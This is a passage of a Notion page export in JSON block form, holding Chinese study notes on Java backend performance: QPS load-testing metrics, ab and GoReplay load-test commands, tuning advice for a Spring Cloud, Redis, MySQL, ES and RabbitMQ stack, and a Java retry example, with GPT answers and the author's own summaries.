729,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"10da8870-dd5f-40e6-8bee-a048642ab34e":{"value":{"id":"10da8870-dd5f-40e6-8bee-a048642ab34e","type":"bulleted_list","properties":{"title":[["我还是常用arthas"]]},"created_time":1712461297894,"last_edited_time":1712461305998,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"97e63c42-f48e-4301-bf7f-c2a29bc2a427":{"value":{"id":"97e63c42-f48e-4301-bf7f-c2a29bc2a427","type":"bulleted_list","properties":{"title":[["预防更重要,要写监控程序。发现cpu占用异常立马保存现场,看故障程度来判断是否会滚上线,或者立马热部署注释掉代码"]]},"created_time":1712461306311,"last_edited_time":1712461423327,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"04e79f4a-3ff2-4cd4-874e-049da7999133":{"value":{"id":"04e79f4a-3ff2-4cd4-874e-049da7999133","type":"sub_header","properties":{"title":[["5.QPS压测性能测试指标。"]]},"format":{"copied_from_pointer":{"id":"a6bf00e4-3c7b-45c1-99b6-f43c65762c94","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712330131919,"last_edited_time":1712457958300,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"a6bf00e4-3c7b-45c1-99b6-f43c65762c94"}},"e3c38c8c-73f0-4030-b52d-f92bd0b74e14":{"value":{"id":"e3c38c8c-73f0-4030-b52d-f92bd0b74e14","type":"sub_sub_header","properties":{"title":[["gpt问答"]]},"created_time":1712472339490,"last_edited_time":1712472343281,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e4310e1b-9fe3-4ba2-a5a4-fcabd8c3e8a7":{"value":{"id":"e4310e1b-9fe3-4ba2-a5a4-fcabd8c3e8a7","type":"quote","properties":{"title":[["QPS压测性能测试指标主要是什么"]]},"created_time":1712468959848,"last_edited_time":1712472177695,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8391f8e0-c28a-4e27-be95-5c2d02f5384a":{"value":{"id":"8391f8e0-c28a-4e27-be95-5c2d02f5384a","type":"text","properties":{"title":[["QPS(Queries Per Second)压力测试主要关注以下性能指标:"]]},"created_time":1712469025954,"last_edited_time":1712469025958,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"b7b21474-7cae-4bbc-985a-e817143a02db":{"value":{"id":"b7b21474-7cae-4bbc-985a-e817143a02db","type":"numbered_list","properties":{"title":[["吞吐量(Throughput)",[["b"]]],[":在单位时间内处理的请求数量,通常以QPS(Queries Per Second)或TPS(Transactions Per Second)来衡量。"]]},"created_time":1712469025954,"last_edited_time":1712469025958,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c30c7587-6292-4d8a-994d-0b631260225e":{"value":{"id":"c30c7587-6292-4d8a-994d-0b631260225e","type":"numbered_list","properties":{"title":[["响应时间(Response Time)",[["b"]]],[":从发送请求到接收到响应的时间,包括网络传输时间和服务器处理时间。通常来说,响应时间越短,用户体验越好。"]]},"created_time":1712469025954,"last_edited_time":1712469025958,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"00fcfcaa-ae9c-4e08-999d-1710bf58f5a4":{"value":{"id":"00fcfcaa-ae9c-4e08-999d-1710bf58f5a4","type":"numbered_list","properties":{"title":[["并发用户数(Concurrent Users)",[["b"]]],[":同时发出请求的用户数。大并发用户数可能导致服务器资源耗尽,性能下降。"]]},"created_time":1712469025954,"last_edited_time":1712469025958,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"aede14bc-f845-44ec-94e4-7effcdaaf9ed":{"value":{"id":"aede14bc-f845-44ec-94e4-7effcdaaf9ed","type":"numbered_list","properties":{"title":[["错误率(Error Rate)",[["b"]]],[":在压力测试中,请求失败的比例。这包括任何类型的错误,如HTTP错误、超时、异常等。"]]},"created_time":1712469025954,"last_edited_time":1712469025958,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"28bbc8ed-e2d7-4b87-8504-916aa6ff4e7a":{"value":{"id":"28bbc8ed-e2d7-4b87-8504-916aa6ff4e7a","type":"numbered_list","properties":{"title":[["资源使用率(Resource Utilization)",[["b"]]],[":包括CPU使用率、内存使用率、磁盘I/O、网络I/O等。这些指标可以帮助找出系统的瓶颈。"]]},"created_time":1712469025954,"last_edited_time":1712469025958,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"eba70797-ef1c-48b4-b02b-8869bd85b211":{"value":{"id":"eba70797-ef1c-48b4-b02b-8869bd85b211","type":"numbered_list","properties":{"title":[["可扩展性(Scalability)",[["b"]]],[":随着负载增加,系统能否保持性能和稳定性。"]]},"created_time":1712469025954,"last_edited_time":1712469025958,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"f9b561c0-2b14-4824-a3b6-a2c4809eff36":{"value":{"id":"f9b561c0-2b14-4824-a3b6-a2c4809eff36","type":"numbered_list","properties":{"title":[["稳定性(Stability)",[["b"]]],[":在高负载下,系统是否能稳定运行。"]]},"created_time":1712469025954,"last_edited_time":1712469025958,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e1eb809b-af82-4723-af64-c532810872ea":{"value":{"id":"e1eb809b-af82-4723-af64-c532810872ea","type":"text","properties":{"title":[["以上指标都可以帮助我们评估系统的性能状况,找到可能的瓶颈,以进行优化。"]]},"created_time":1712469025954,"last_edited_time":1712469025958,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"1137beea-f2c8-4cd9-8693-44a93692d434":{"value":{"id":"1137beea-f2c8-4cd9-8693-44a93692d434","type":"divider","created_time":1712472183241,"last_edited_time":1712472183242,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"f991032b-b60c-4ae9-8c9b-7d32949d2f7d":{"value":{"id":"f991032b-b60c-4ae9-8c9b-7d32949d2f7d","type":"text","created_time":1712472183263,"last_edited_time":1712472183263,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"13531aff-c0c4-4cc7-8e1c-2eed1676410c":{"value":{"id":"13531aff-c0c4-4cc7-8e1c-2eed1676410c","type":"quote","properties":{"title":[["给我写个ab压力测试"]]},"created_time":1712469100173,"last_edited_time":1712469105836,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"111b754e-7a75-473f-90b5-2db448844e12":{"value":{"id":"111b754e-7a75-473f-90b5-2db448844e12","type":"text","properties":{"title":[["ab",[["c"]]],[" 是 Apache HTTP server benchmarking tool,主要用于进行 HTTP 性能测试。以下是使用 "],["ab",[["c"]]],[" 压测你提供的 GET 请求 30 秒的命令:"]]},"created_time":1712469122327,"last_edited_time":1712469122332,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5afed718-548d-45de-b28b-a46a9aa2e66b":{"value":{"id":"5afed718-548d-45de-b28b-a46a9aa2e66b","type":"code","properties":{"title":[["ab -n 1000 -c 10 -t 30 -H 'Host: x.x.cn:90' -H 'Connection: close' -H 'Content-IDType: application/json;charset=UTF-8' -H 'X-Access-Token: 1' -H 'User-Agent: android' -H 'Sign: 1' -H 'Dersion: 3.6.0' -H 'Timestamp: 1' -H 'Accept-Encoding: gzip' ''"]],"language":[["Shell"]]},"format":{"code_wrap":true},"created_time":1712469122327,"last_edited_time":1712469180105,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"648222d9-e9c4-4ed7-a08d-3d38f9059916":{"value":{"id":"648222d9-e9c4-4ed7-a08d-3d38f9059916","type":"text","properties":{"title":[["在这个命令中:"]]},"created_time":1712469122327,"last_edited_time":1712469122332,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"b0a02fbc-f4c6-46b5-b0c3-9c5a4b36ff14":{"value":{"id":"b0a02fbc-f4c6-46b5-b0c3-9c5a4b36ff14","type":"bulleted_list","properties":{"title":[["n 1000",[["c"]]],[" 表示总共发送 1000 个请求。你可以根据实际情况调整这个数字。"]]},"created_time":1712469122328,"last_edited_time":1712469122332,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"76fc53b3-c188-4b2c-87ad-e2d6d26bbf3b":{"value":{"id":"76fc53b3-c188-4b2c-87ad-e2d6d26bbf3b","type":"bulleted_list","properties":{"title":[["c 10",[["c"]]],[" 表示并发数为 10。你可以根据实际情况调整这个数字。"]]},"created_time":1712469122328,"last_edited_time":1712469122332,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"2ec16a82-a6f7-43ef-a884-a1e4f41b4da7":{"value":{"id":"2ec16a82-a6f7-43ef-a884-a1e4f41b4da7","type":"bulleted_list","properties":{"title":[["t 30",[["c"]]],[" 表示压测时间为 30 秒。"]]},"created_time":1712469122328,"last_edited_time":1712469122332,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"babaf346-e95d-4986-aa26-63e8a722e8e3":{"value":{"id":"babaf346-e95d-4986-aa26-63e8a722e8e3","type":"bulleted_list","properties":{"title":[["H",[["c"]]],[" 用于添加 HTTP 头。"]]},"created_time":1712469122328,"last_edited_time":1712469122332,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c3d119bb-2706-4412-aadf-1396bd9d9d61":{"value":{"id":"c3d119bb-2706-4412-aadf-1396bd9d9d61","type":"text","properties":{"title":[["注意,由于 "],["ab",[["c"]]],[" 不支持自动处理 HTTP 重定向、cookie 和其他一些 HTTP 功能,如果你的测试需要这些功能,你可能需要使用其他的工具,比如 "],["siege",[["c"]]],["、"],["wrk",[["c"]]],[" 或者 "],["jmeter",[["c"]]],["。"]]},"created_time":1712469122328,"last_edited_time":1712469253426,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"981f9577-c11c-4f30-9f8c-b04717719062":{"value":{"id":"981f9577-c11c-4f30-9f8c-b04717719062","type":"divider","created_time":1712472197690,"last_edited_time":1712472197691,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"1ee7c1f6-a405-4acd-8cf1-f3cb95af82aa":{"value":{"id":"1ee7c1f6-a405-4acd-8cf1-f3cb95af82aa","type":"text","created_time":1712472197715,"last_edited_time":1712472197715,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"181040ac-e8a6-43bd-8319-63f756025176":{"value":{"id":"181040ac-e8a6-43bd-8319-63f756025176","type":"quote","properties":{"title":[["给我一个gateway网关流量录制的方式,我想放大100倍去压测测试环境"]]},"created_time":1712469385546,"last_edited_time":1712472195431,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5b6b1b35-50dd-4458-bbb8-bd0d849e83e2":{"value":{"id":"5b6b1b35-50dd-4458-bbb8-bd0d849e83e2","type":"text","properties":{"title":[["一个流行的方法是通过抓取生产环境的实际请求,并将其用于压测。具体步骤如下:"]]},"created_time":1712469399474,"last_edited_time":1712469399479,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c91fc763-ebeb-48bc-8860-2d91288bc4b9":{"value":{"id":"c91fc763-ebeb-48bc-8860-2d91288bc4b9","type":"numbered_list","properties":{"title":[["流量捕捉",[["b"]]],[":在生产环境的网关上捕获流量。你可以使用如tcpdump或Wireshark这样的工具来捕获流量。"]]},"created_time":1712469399474,"last_edited_time":1712469399479,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"af0f8549-1fed-4650-bded-b9bb221c9c4b":{"value":{"id":"af0f8549-1fed-4650-bded-b9bb221c9c4b","type":"numbered_list","properties":{"title":[["流量解析",[["b"]]],[":将捕获的流量转换为可重播的请求。你可以使用如Goreplay或者其他自定义脚本来做这个工作。"]]},"created_time":1712469399474,"last_edited_time":1712469399479,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"48c7d257-f510-443a-86b6-6247dabc5d54":{"value":{"id":"48c7d257-f510-443a-86b6-6247dabc5d54","type":"numbered_list","properties":{"title":[["流量生成",[["b"]]],[":使用一个压力测试工具,如Locust、JMeter或Gatling,来重播这些请求。你可以将请求频率调整为原来的100倍,以达到你的压测目标。"]]},"created_time":1712469399475,"last_edited_time":1712469399479,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c412884b-7870-45dd-a85e-3712521fecb2":{"value":{"id":"c412884b-7870-45dd-a85e-3712521fecb2","type":"text","properties":{"title":[["以下是一个使用GoReplay进行流量录制和重放的示例:"]]},"created_time":1712469399475,"last_edited_time":1712469399479,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"55790aca-34e8-40a7-9d2a-a2c836cc108e":{"value":{"id":"55790aca-34e8-40a7-9d2a-a2c836cc108e","type":"code","properties":{"title":[["# 在生产环境,使用GoReplay捕捉流量并保存到文件\nsudo ./gor --input-raw :80 --output-file=requests.gor\n\n# 在测试环境,使用GoReplay读取文件,并将流量放大100倍重放\n./gor --input-file requests.gor --output-http \"http://your_test_env\" --input-file-loop --speed 100\n"]],"language":[["Shell"]]},"format":{"code_wrap":true},"created_time":1712469399475,"last_edited_time":1712469399479,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"4ebead90-4ba0-4bbd-affa-838d137c0558":{"value":{"id":"4ebead90-4ba0-4bbd-affa-838d137c0558","type":"text","properties":{"title":[["注意,这只是一个基本示例。你可能需要根据你的实际环境和需求进行调整。此外,这种方法可能会暴露敏感信息,所以在处理请求数据时需要特别注意。"]]},"created_time":1712469399475,"last_edited_time":1712469409376,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8318a2ff-315f-4878-afda-5d039731aa17":{"value":{"id":"8318a2ff-315f-4878-afda-5d039731aa17","type":"divider","created_time":1712472208413,"last_edited_time":1712472208415,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"b4932eae-48b8-4bc8-9701-619f23c311cb":{"value":{"id":"b4932eae-48b8-4bc8-9701-619f23c311cb","type":"sub_sub_header","properties":{"title":[["总结"]]},"created_time":1712469404112,"last_edited_time":1712472348559,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"91224e1c-6b9f-4359-a38f-bc27e4afcf68":{"value":{"id":"91224e1c-6b9f-4359-a38f-bc27e4afcf68","type":"bulleted_list","properties":{"title":[["性能指标都老生常谈了RT之类"]]},"created_time":1712469415759,"last_edited_time":1712469541356,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"3fff129c-1117-4542-b74d-4216082349c1":{"value":{"id":"3fff129c-1117-4542-b74d-4216082349c1","type":"bulleted_list","properties":{"title":[["ab测试特别方便,简单的压测可以使用"]]},"created_time":1712469541573,"last_edited_time":1712469563979,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"1e79e7fc-1c9b-4f42-b4de-6200dd902330":{"value":{"id":"1e79e7fc-1c9b-4f42-b4de-6200dd902330","type":"bulleted_list","properties":{"title":[["Goreplay",[["b"]]],["这个工具用来做流量录制,回放"]]},"created_time":1712469564118,"last_edited_time":1712469649488,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"2b7c4ded-eb4e-4989-b597-a7f15bfbc1f9":{"value":{"id":"2b7c4ded-eb4e-4989-b597-a7f15bfbc1f9","type":"sub_header","properties":{"title":[["6.性能优化经验"]]},"format":{"copied_from_pointer":{"id":"39c5adc4-bbe0-4733-8f3f-189c152564fc","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712330131919,"last_edited_time":1712469380635,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"39c5adc4-bbe0-4733-8f3f-189c152564fc"}},"2ebb5714-fe8a-49dd-af34-0f2a183ca813":{"value":{"id":"2ebb5714-fe8a-49dd-af34-0f2a183ca813","type":"sub_sub_header","properties":{"title":[["gpt问答"]]},"created_time":1712472221774,"last_edited_time":1712472351830,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"220f2229-574f-425e-a4d3-53280a83ecd6":{"value":{"id":"220f2229-574f-425e-a4d3-53280a83ecd6","type":"quote","properties":{"title":[["SpringCloudAlibaba + redis + mysql8.0 + es + rabbitMQ我的项目用的这些技术栈,给我一点性能优化经验"]]},"created_time":1712469741223,"last_edited_time":1712472214209,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"702def13-5953-42b1-81ee-6d71058bc9e1":{"value":{"id":"702def13-5953-42b1-81ee-6d71058bc9e1","type":"text","properties":{"title":[["优化一个系统通常涉及许多不同的领域,包括但不限于:数据库优化、缓存策略、消息队列设计、搜索引擎优化、并发和负载均衡策略等。在你的具体情况下,这里有一些可能的优化策略:"]]},"created_time":1712469785437,"last_edited_time":1712469785444,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ae12cab0-c367-4874-a2a4-a90e2b449781":{"value":{"id":"ae12cab0-c367-4874-a2a4-a90e2b449781","type":"numbered_list","properties":{"title":[["SpringCloudAlibaba",[["b"]]],[": 你可以通过使用熔断器和服务降级来提高系统的可用性和稳定性。同时,异步调用和线程池的合理使用也可以提高系统性能。"]]},"created_time":1712469785437,"last_edited_time":1712469785444,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8e2d18d1-7da5-4e00-a06d-937e959c1f7f":{"value":{"id":"8e2d18d1-7da5-4e00-a06d-937e959c1f7f","type":"numbered_list","properties":{"title":[["Redis",[["b"]]],[": 你可以考虑使用 Redis 作为缓存来减少数据库的压力。但是要注意,不是所有的数据都适合存储在 Redis 中。你需要根据业务需求来确定哪些数据应该被缓存。"]]},"created_time":1712469785437,"last_edited_time":1712469785444,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"3fc7d29d-036d-4fc8-a9a2-66dc3062ad2f":{"value":{"id":"3fc7d29d-036d-4fc8-a9a2-66dc3062ad2f","type":"numbered_list","properties":{"title":[["MySQL 8.0",[["b"]]],[": 对于 MySQL, 最好的优化策略通常包括合理的索引设计、SQL 查询优化和合理的数据库结构设计。你还可以考虑使用分区表和分片来进一步提高性能。"]]},"created_time":1712469785437,"last_edited_time":1712469785444,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"d75d5510-534f-4dbd-a03a-f7bfa8140882":{"value":{"id":"d75d5510-534f-4dbd-a03a-f7bfa8140882","type":"numbered_list","properties":{"title":[["Elasticsearch (ES)",[["b"]]],[": 对于 ES,你可以通过合理的索引和查询优化来提高搜索性能。此外,对于大量的数据,你可以考虑使用分片和副本来提高性能和可用性。"]]},"created_time":1712469785437,"last_edited_time":1712469785444,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5fa79268-046a-46e4-b1a9-445889e59825":{"value":{"id":"5fa79268-046a-46e4-b1a9-445889e59825","type":"numbered_list","properties":{"title":[["RabbitMQ",[["b"]]],[": RabbitMQ 的优化通常包括合理的队列设计、消息确认机制和消费者并发策略。你也可以考虑使用消息批量处理和消息预取来提高性能。"]]},"created_time":1712469785438,"last_edited_time":1712469785444,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8d9c9638-ed06-4d10-ab7e-99bb10cb5e02":{"value":{"id":"8d9c9638-ed06-4d10-ab7e-99bb10cb5e02","type":"numbered_list","properties":{"title":[["代码层面",[["b"]]],[": 对于代码本身,你可以考虑使用性能分析工具(如 JProfiler)来找出性能瓶颈。此外,合理的数据结构和算法设计,以及减少不必要的 I/O 操作也可以提高性能。"]]},"created_time":1712469785438,"last_edited_time":1712469785444,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"3c442da6-7fa9-48ba-9bfd-202d119dcead":{"value":{"id":"3c442da6-7fa9-48ba-9bfd-202d119dcead","type":"text","properties":{"title":[["以上就是一些常见的性能优化策略,但是需要注意的是,每个系统都是不同的,所以你需要根据你的具体情况来确定最合适的优化策略。在优化系统之前,最好先进行性能测试和分析,这样可以帮助你找出系统的瓶颈并确定优化的重点。"]]},"created_time":1712469785438,"last_edited_time":1712469944687,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8bce32e8-78f8-442e-814c-327c9931cf38":{"value":{"id":"8bce32e8-78f8-442e-814c-327c9931cf38","type":"divider","created_time":1712472231976,"last_edited_time":1712472231977,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"407494ed-c9cf-4338-bc00-15789be41faf":{"value":{"id":"407494ed-c9cf-4338-bc00-15789be41faf","type":"sub_sub_header","properties":{"title":[["总结"]]},"created_time":1712469886357,"last_edited_time":1712472355347,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ae0bc6d7-cb6f-464f-a49e-85370dc299f2":{"value":{"id":"ae0bc6d7-cb6f-464f-a49e-85370dc299f2","type":"bulleted_list","properties":{"title":[["gpt说话太宽泛了"]]},"created_time":1712469948300,"last_edited_time":1712469958237,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"2a68b08c-2705-4b2f-9dc1-921f92f77441":{"value":{"id":"2a68b08c-2705-4b2f-9dc1-921f92f77441","type":"bulleted_list","properties":{"title":[["主要可以从mysql入手,先把慢查询给压下来,主要就是加索引,分析索引为什么不生效,用explain命令查看扫描行数。进阶一点的就是更改数据库的事务隔离级别,听说RC更适合高并发,没有深入研究过。"]]},"created_time":1712469958481,"last_edited_time":1712470333167,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"01cfff21-e786-4686-be21-7baf28fdb9d9":{"value":{"id":"01cfff21-e786-4686-be21-7baf28fdb9d9","type":"bulleted_list","properties":{"title":[["mysql搞完了再去看看能不能上redis缓存,把热点流量走缓存,这里要分析下缓存的复杂度"]]},"created_time":1712470082212,"last_edited_time":1712470124422,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"daac458c-4d09-4bc7-b9dc-a7814d0d766d":{"value":{"id":"daac458c-4d09-4bc7-b9dc-a7814d0d766d","type":"bulleted_list","properties":{"title":[["再来就是jvm了,我不熟悉这些方面的内容。但是可以去arthas看看GC次数,堆大小。然后去问gpt是否正常,或者看看文章。分析出频繁GC的原因。"]]},"created_time":1712470126264,"last_edited_time":1712470211254,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"3f183d14-7dca-4a22-9ab7-f5e2c82cae19":{"value":{"id":"3f183d14-7dca-4a22-9ab7-f5e2c82cae19","type":"bulleted_list","properties":{"title":[["还有就是编程的潜意识,就是文件都走oss不要服务器直接接收,大对象redis反序列化特别占用cpu能不能用hashmap。for循环调用IO相关的能不能一次性batch先缓存起来…"]]},"created_time":1712470211481,"last_edited_time":1712470422375,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5d19c63f-c2a4-414a-80f2-db216a5d3fa4":{"value":{"id":"5d19c63f-c2a4-414a-80f2-db216a5d3fa4","type":"sub_header","properties":{"title":[["7.线程任务有20概率失败如何保证100成功。"]]},"format":{"copied_from_pointer":{"id":"a6c237cd-5c47-4088-b5a6-d07c51cfd216","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712330131919,"last_edited_time":1712457963211,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"a6c237cd-5c47-4088-b5a6-d07c51cfd216"}},"4b26b44c-1854-4809-a711-aba6d7edd59e":{"value":{"id":"4b26b44c-1854-4809-a711-aba6d7edd59e","type":"sub_sub_header","properties":{"title":[["gpt问答"]]},"created_time":1712472236185,"last_edited_time":1712472358525,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"456fdfde-bb2d-45da-906f-453d1a0a0408":{"value":{"id":"456fdfde-bb2d-45da-906f-453d1a0a0408","type":"quote","properties":{"title":[["java语言,线程任务有20概率失败如何保证100成功"]]},"created_time":1712470527395,"last_edited_time":1712470527584,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"b8f7f7c7-9b97-4113-bfce-e38edb0a8dbf":{"value":{"id":"b8f7f7c7-9b97-4113-bfce-e38edb0a8dbf","type":"text","properties":{"title":[["在Java中,要实现线程任务有20%的概率失败,但最终保证100%的成功,我们需要使用一种重试机制。以下是一个简单的例子:"]]},"created_time":1712470533191,"last_edited_time":1712470533204,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5abc3a42-0b85-421e-8275-364e1329278b":{"value":{"id":"5abc3a42-0b85-421e-8275-364e1329278b","type":"code","properties":{"title":[["import java.util.Random;\n\npublic class RetryTask implements Runnable {\n private static final int MAX_RETRY_TIMES = 5;\n private Random random = new Random();\n\n @Override\n public void run() {\n boolean success = false;\n int retryTimes = 0;\n while (!success && retryTimes < MAX_RETRY_TIMES) {\n try {\n success = doTask();\n } catch (Exception e) {\n retryTimes++;\n System.out.println(\"Task failed, retrying...\" + retryTimes);\n }\n }\n if (success) {\n System.out.println(\"Task finished successfully.\");\n } else {\n System.out.println(\"Task failed after \" + MAX_RETRY_TIMES + \" attempts.\");\n }\n }\n\n // This is the task that has a 20% chance to fail\n private boolean doTask() throws Exception {\n int n = random.nextInt(5);\n if (n == 0) {\n throw new Exception(\"Task failed\");\n }\n return true;\n }\n\n public static void main(String[] args) {\n RetryTask task = new RetryTask();\n Thread thread = new Thread(task);\n thread.start();\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712470533198,"last_edited_time":1712470533204,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"bd770ff4-40f3-4731-9e6f-e6ee9fa08fd9":{"value":{"id":"bd770ff4-40f3-4731-9e6f-e6ee9fa08fd9","type":"text","properties":{"title":[["在这个例子中,我们定义了一个任务,该任务有20%的概率失败("],["doTask",[["c"]]],[" 方法每次都会生成一个0到4的随机数,如果数字是0,那么任务就会失败)。在任务失败后,我们会尝试重新执行任务,最多重试5次。如果在5次尝试后任务仍然失败,我们就会停止执行。"]]},"created_time":1712470533198,"last_edited_time":1712470533204,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"a265558f-d19a-4027-bf58-db597e0821f1":{"value":{"id":"a265558f-d19a-4027-bf58-db597e0821f1","type":"divider","created_time":1712472243344,"last_edited_time":1712472243345,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"96e98ae1-758a-4edd-990a-20e57dc88d56":{"value":{"id":"96e98ae1-758a-4edd-990a-20e57dc88d56","type":"text","created_time":1712472243366,"last_edited_time":1712472243366,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"559d843e-c38f-457f-9a3a-b013addb5358":{"value":{"id":"559d843e-c38f-457f-9a3a-b013addb5358","type":"quote","properties":{"title":[["你这个是业务上的考量,我考虑是线程池的拒绝策略和等待队列设置不合理。要保证每一个任务进入都要被执行,包括执行途中服务器重启"]]},"created_time":1712470729322,"last_edited_time":1712472246327,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"da124448-3f64-4e39-930a-3c1bb34e6f93":{"value":{"id":"da124448-3f64-4e39-930a-3c1bb34e6f93","type":"text","properties":{"title":[["理解你的问题了。如果你想要确保线程池中的所有任务在出现失败或者服务器重启的情况下仍然可以被执行,你需要结合线程池的配置策略和持久化存储来实现。"]]},"created_time":1712470738031,"last_edited_time":1712470738040,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ffb87317-1efc-4275-a207-98c224873242":{"value":{"id":"ffb87317-1efc-4275-a207-98c224873242","type":"text","properties":{"title":[["首先,我们需要使用一个合适的拒绝策略。默认情况下,Java的线程池提供了四种拒绝策略:"]]},"created_time":1712470738031,"last_edited_time":1712470738040,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5035a8d6-c052-4a61-86b3-97fffda749f5":{"value":{"id":"5035a8d6-c052-4a61-86b3-97fffda749f5","type":"numbered_list","properties":{"title":[["AbortPolicy:直接抛出异常,阻止系统正常运行。"]]},"created_time":1712470738031,"last_edited_time":1712470738040,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"24290ce7-4674-4d85-8b91-237589163392":{"value":{"id":"24290ce7-4674-4d85-8b91-237589163392","type":"numbered_list","properties":{"title":[["CallerRunsPolicy:只用调用者所在的线程来运行